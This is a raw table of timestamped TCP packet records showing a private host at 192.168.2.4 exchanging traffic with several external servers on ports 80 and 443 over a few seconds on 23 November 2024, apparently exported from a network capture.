Nov 23, 2024 20:23:43.293451071 CET	443	49857	2.23.161.164	192.168.2.4
Nov 23, 2024 20:23:43.293554068 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.293591022 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.295893908 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.295911074 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.305524111 CET	80	49860	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:43.306332111 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:43.319142103 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.319168091 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.325162888 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.325783014 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.325793982 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.488864899 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.492083073 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.492130995 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.497044086 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.497057915 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.497066975 CET	49856	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.497071981 CET	443	49856	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.499882936 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.499949932 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.500106096 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.500267029 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.500302076 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.548932076 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.548998117 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.550112963 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.550467968 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.550482988 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.550493002 CET	49855	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.550498009 CET	443	49855	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.557512999 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.557543039 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.558315039 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.558691025 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.558698893 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.608788967 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.611862898 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.623215914 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.624248028 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.624272108 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.624280930 CET	49858	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.624285936 CET	443	49858	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.635688066 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.635740042 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.635828972 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.636528015 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:43.636564970 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:43.639218092 CET	49868	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.639267921 CET	443	49868	142.250.181.78	192.168.2.4
Nov 23, 2024 20:23:43.639374971 CET	49869	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.639399052 CET	443	49869	142.250.181.78	192.168.2.4
Nov 23, 2024 20:23:43.639671087 CET	49868	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.641020060 CET	49869	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.641038895 CET	49868	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.641052008 CET	443	49868	142.250.181.78	192.168.2.4
Nov 23, 2024 20:23:43.642333031 CET	49869	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:43.642349005 CET	443	49869	142.250.181.78	192.168.2.4
Nov 23, 2024 20:23:43.701787949 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.701872110 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.701922894 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.702089071 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.702116966 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.702158928 CET	49859	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:43.702172041 CET	443	49859	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:43.704885006 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:43.726109028 CET	49871	80	192.168.2.4	34.107.221.82
Nov 23, 2024 20:23:44.036681890 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:44.036722898 CET	80	49871	34.107.221.82	192.168.2.4
Nov 23, 2024 20:23:44.036760092 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:44.036797047 CET	49871	80	192.168.2.4	34.107.221.82
Nov 23, 2024 20:23:44.036942005 CET	49871	80	192.168.2.4	34.107.221.82
Nov 23, 2024 20:23:44.036964893 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:44.095300913 CET	49872	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.095339060 CET	443	49872	34.117.188.166	192.168.2.4
Nov 23, 2024 20:23:44.095566034 CET	49872	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.096986055 CET	49872	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.096998930 CET	443	49872	34.117.188.166	192.168.2.4
Nov 23, 2024 20:23:44.156457901 CET	80	49871	34.107.221.82	192.168.2.4
Nov 23, 2024 20:23:44.156492949 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:44.197983027 CET	80	49861	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:44.198040009 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:44.200448036 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:44.320023060 CET	80	49861	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:44.548513889 CET	49871	80	192.168.2.4	34.107.221.82
Nov 23, 2024 20:23:44.688466072 CET	80	49861	185.215.113.206	192.168.2.4
Nov 23, 2024 20:23:44.689306974 CET	49873	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.689322948 CET	443	49873	34.117.188.166	192.168.2.4
Nov 23, 2024 20:23:44.691400051 CET	49861	80	192.168.2.4	185.215.113.206
Nov 23, 2024 20:23:44.691425085 CET	49873	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.692280054 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:44.693000078 CET	49873	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:44.693013906 CET	443	49873	34.117.188.166	192.168.2.4
Nov 23, 2024 20:23:44.693310022 CET	49874	443	192.168.2.4	35.244.181.201
Nov 23, 2024 20:23:44.693316936 CET	443	49874	35.244.181.201	192.168.2.4
Nov 23, 2024 20:23:44.693485022 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:44.693507910 CET	49874	443	192.168.2.4	35.244.181.201
Nov 23, 2024 20:23:44.693633080 CET	49874	443	192.168.2.4	35.244.181.201
Nov 23, 2024 20:23:44.693645000 CET	443	49874	35.244.181.201	192.168.2.4
Nov 23, 2024 20:23:44.712424994 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:44.712438107 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:44.713340998 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:44.715481043 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:44.715595007 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:44.715641022 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:44.715735912 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:44.715744019 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:44.718317986 CET	80	49871	34.107.221.82	192.168.2.4
Nov 23, 2024 20:23:44.910057068 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:44.910408974 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:45.041686058 CET	80	49875	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:45.041762114 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:45.041831970 CET	80	49860	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:45.041882992 CET	49860	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:45.041981936 CET	49875	80	192.168.2.4	185.215.113.43
Nov 23, 2024 20:23:45.044437885 CET	80	49871	34.107.221.82	192.168.2.4
Nov 23, 2024 20:23:45.044516087 CET	49871	80	192.168.2.4	34.107.221.82
Nov 23, 2024 20:23:45.133363008 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.133855104 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.133896112 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.134387970 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.134404898 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.139826059 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.140186071 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.140240908 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.140572071 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.140594006 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.168184996 CET	80	49875	185.215.113.43	192.168.2.4
Nov 23, 2024 20:23:45.189404964 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.189740896 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.189759016 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.190112114 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.190115929 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.227008104 CET	49873	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:45.227226019 CET	49872	443	192.168.2.4	34.117.188.166
Nov 23, 2024 20:23:45.227293968 CET	49869	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:45.227308989 CET	49868	443	192.168.2.4	142.250.181.78
Nov 23, 2024 20:23:45.248703957 CET	49874	443	192.168.2.4	35.244.181.201
Nov 23, 2024 20:23:45.475634098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475678921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475689888 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475733995 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.475743055 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475753069 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475763083 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475775003 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475780964 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.475796938 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475805998 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475819111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.475821018 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.475837946 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.475852966 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.519835949 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.520303965 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.520318031 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.521261930 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.521265984 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.574187994 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.574249029 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.574301958 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.574466944 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.574506998 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.574538946 CET	49865	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.574554920 CET	443	49865	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.578258991 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.578563929 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.578587055 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.578639030 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.579161882 CET	49876	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.579176903 CET	443	49876	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.582206964 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.582285881 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.582334042 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.582370043 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.582436085 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.582530975 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.582565069 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.582611084 CET	49863	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.582624912 CET	443	49863	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.585721970 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.585766077 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.585812092 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.586149931 CET	49877	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.586163044 CET	443	49877	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.595479965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.595493078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.595539093 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.638673067 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.641860008 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.641927004 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.672914982 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.676759005 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.676839113 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.676891088 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.680922031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.682461023 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.682516098 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.682542086 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.690865993 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.690921068 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.690964937 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.699206114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.699253082 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.699270964 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.700000048 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.700016975 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.700031042 CET	49862	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.700036049 CET	443	49862	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.702193975 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.702227116 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.702373028 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:45.702662945 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:45.702712059 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:45.702982903 CET	49867	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.702999115 CET	443	49867	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.705163002 CET	49864	443	192.168.2.4	104.21.33.116
Nov 23, 2024 20:23:45.705179930 CET	443	49864	104.21.33.116	192.168.2.4
Nov 23, 2024 20:23:45.707432985 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.707453966 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.707520962 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.707642078 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.707660913 CET	49878	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:45.707684994 CET	443	49878	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:45.707696915 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.707724094 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.715992928 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.716069937 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.716104031 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.724375010 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.724422932 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.724448919 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.733057022 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.733123064 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.733179092 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.741183043 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.741225958 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.741260052 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.749522924 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.749581099 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.749681950 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.757886887 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.757930040 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.877898932 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.878024101 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.878074884 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.880562067 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.880686998 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.880731106 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.885965109 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.887909889 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.887959003 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.888012886 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.893327951 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.893369913 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.893430948 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.898492098 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.898546934 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.898574114 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.903734922 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.903788090 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.903850079 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.908834934 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.908874035 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.908935070 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.914016008 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.914072990 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.914108038 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.919184923 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.919258118 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.919281006 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.924360037 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.924437046 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.924468040 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.929507971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.929552078 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.929563046 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.934674025 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.934743881 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.934771061 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.939848900 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.939903021 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.939961910 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.945046902 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.945108891 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.945137024 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.950201988 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.950239897 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.950356007 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.955374002 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.955444098 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.955501080 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.960527897 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.960578918 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.960656881 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.965722084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.965802908 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.965933084 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.970865965 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.970921993 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:45.970978022 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.975996971 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:45.976049900 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.020472050 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.024147987 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.024194002 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.024207115 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.024240971 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.030778885 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.030778885 CET	49866	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.030791044 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.030798912 CET	443	49866	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.051620960 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.051651955 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.051711082 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.052450895 CET	49879	443	192.168.2.4	13.107.246.63
Nov 23, 2024 20:23:46.052463055 CET	443	49879	13.107.246.63	192.168.2.4
Nov 23, 2024 20:23:46.079196930 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.079466105 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.079510927 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.081736088 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.081865072 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.081907034 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.086874962 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.086977959 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.087023020 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.091795921 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.091882944 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.091923952 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.096987963 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.097068071 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.097116947 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.102128983 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.102226973 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.102273941 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.106259108 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.106367111 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.106409073 CET	49870	80	192.168.2.4	185.215.113.16
Nov 23, 2024 20:23:46.110224009 CET	80	49870	185.215.113.16	192.168.2.4
Nov 23, 2024 20:23:46.110347033 CET	80	49870	185.215.113.16	192.168.2.4
